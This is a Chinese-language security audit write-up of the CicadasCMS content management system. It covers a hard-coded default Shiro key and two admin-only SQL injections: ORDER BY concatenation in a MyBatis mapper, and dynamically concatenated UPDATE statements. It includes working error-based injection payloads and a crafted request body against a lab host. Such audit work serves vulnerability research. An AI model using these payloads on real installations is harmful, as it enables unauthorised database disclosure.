项目介绍
CicadasCMS是用springboot+mybatis+beetl开发的一款CMS,支持自定义内容模型、模板标签、全站静态化等功能。
部署
下载源码: https://gitee.com/westboy/CicadasCMS
更改数据库账号密码 端口号可改可不改
创建数据库 cms_demo
导入表结构和测试数据
运行 main
方法。具体手册在 doc/建站系统文档.docx
Shiro 默认密钥
简单观察可以发现 项目采用 Shiro
框架进行身份验证管理
定位到 src/main/java/com/zhiliao/component/shiro/ShiroConfiguration.java
存在默认密钥硬编码
根据 shiroFilter
得到 CookieRememberMeManager
处理路径。
随便找一条 cookie
验证接口 以 192.168.6.41:8080/system/user/list
为例 (项目环境为 JDK8u65
)
SQL 注入(TCmsContentMapper.xml)
(需要后台权限)
大致看了一下,发现大多使用的预编译处理,不存在 SQL注入。但是我们知道,预编译的实现规则,并不能直接处理动态 SQL 。例如比较经典的 排序注入。
直接定位到 src/main/resources/com/zhiliao/mybatis/mapper/TCmsContentMapper.xml
<select id="selectByCondition" parameterType="com.zhiliao.mybatis.model.TCmsContent" resultMap="BaseResultMap">
SELECT
*
FROM
t_cms_content
<trim prefix="WHERE (" suffix=")" prefixOverrides="AND|OR">
<if test="title!=null and title!=''">
title like CONCAT('%',#{title,jdbcType=VARCHAR},'%')
</if>
<if test="siteId!=null">
and site_id = #{siteId,jdbcType=INTEGER}
</if>
<if test="categoryId!=null">
and category_id = #{categoryId,jdbcType=BIGINT}
</if>
<if test="status!=null">
and status = #{status,jdbcType=INTEGER}
</if>
<if test="status==null">
and status in(0,1)
</if>
</trim>
<choose>
<when test="orderField!=null and orderField!='' and orderDirection!=null and orderDirection!='' ">
order by ${orderField} ${orderDirection}
</when>
<otherwise>
order by content_id DESC
</otherwise>
</choose>
</select>
关注到 其中 order by ${orderField} ${orderDirection}
可以看到为了实现动态排序,采用的拼接写法。
既然有了思路,那么我们逆推定位入口即可。
定位到Mapper
层 src/main/java/com/zhiliao/mybatis/mapper/TCmsContentMapper.java
跟进用法 src/main/java/com/zhiliao/module/web/cms/service/impl/ContentServiceImpl.java
得到两个 page
方法实现
节省时间,我们由 MVC 常用思想快速定位到 Controller层 page方法 src/main/java/com/zhiliao/module/web/cms/ContentController.java
可以看到 传入参数为 content
即 TCmsContentVo
对象。
继续查看 TCmsContentVo
对象得到实际传参字段。
orderField
orderDirection
总结调用链
浏览器传参 -> ContentController -> 重构TCmsContentVo对象 -> ContentService -> ContentServiceImpl -> TCmsContentMapper
报错注入验证:
http://192.168.6.41:8080/system/cms/content/page?orderField=extractvalue(1, concat(0x7e, database()))&orderDirection=ASC
SQL 注入(ContentServiceImpl.java)
(需要后台权限)
全局搜索 statement
定位到 src/main/java/com/zhiliao/module/web/cms/service/impl/ContentServiceImpl.java
int status =statement.executeUpdate(exeSql);
statement.close();
connection.close();
可以看到 statement
非预编译,手动添加上 调试打印方便测试。定位回 Controller 层寻找入口调用。
定位到 src/main/java/com/zhiliao/module/web/cms/ContentController.java
中 save
方法
复杂逻辑先直接不看,通过 Controller 注释,定位到后台内容管理
编辑 -> 降低内容复杂度 -> 保存发布 -> 抓包
得到 控制台输出 执行的 SQL 语句
随便找个支持构造的参数构造 (测试或者阅读代码可以发现 支持字段 content
fujian
和 laiyuan
)
构造 参数 fujian
放包:
contentId=124415&userId=1&siteId=1&tableName=&status=1&title=1&keywords=1&description=11111111111&categoryId=209&thumb=&url=http%3A%2F%2Faaa.com&viewNum=12&author=admin&tags=&content=aaaa&fujian=1' and extractvalue(1, concat(0x7e, version())) and '1&laiyuan=1
观察控制台输出 以及 报文返回:
UPDATE t_cms_content_news set `content`='aaaa', `fujian`='1' and extractvalue(1, concat(0x7e, version())) and '1', `laiyuan`='1'where `content_id`=124415;
代码分析:
保存逻辑: save
方法接收一个包含主键 contentId
和其他信息的 content
对象,并将所有表单数据保存到 formParam
对象中。这个对象存储了扩展字段及对应的值。
如果
contentId
不为空,则调用contentService.update
更新数据;否则,调用contentService.save
保存数据。contentId
在TCmsContent
被定义为 Long 类型 ,利用不了
相关方法:
ContentServiceImpl.update
调用
SaveModelFiledParam
方法来保存数据。
ContentServiceImpl.SaveModelFiledParam
首先检查表单数据是否为空;
然后遍历表单数据,将各个字段和值动态拼接到 SQL 的
exeSql
插入语句中(更新语句逻辑相同);最后执行该
exeSql
语句。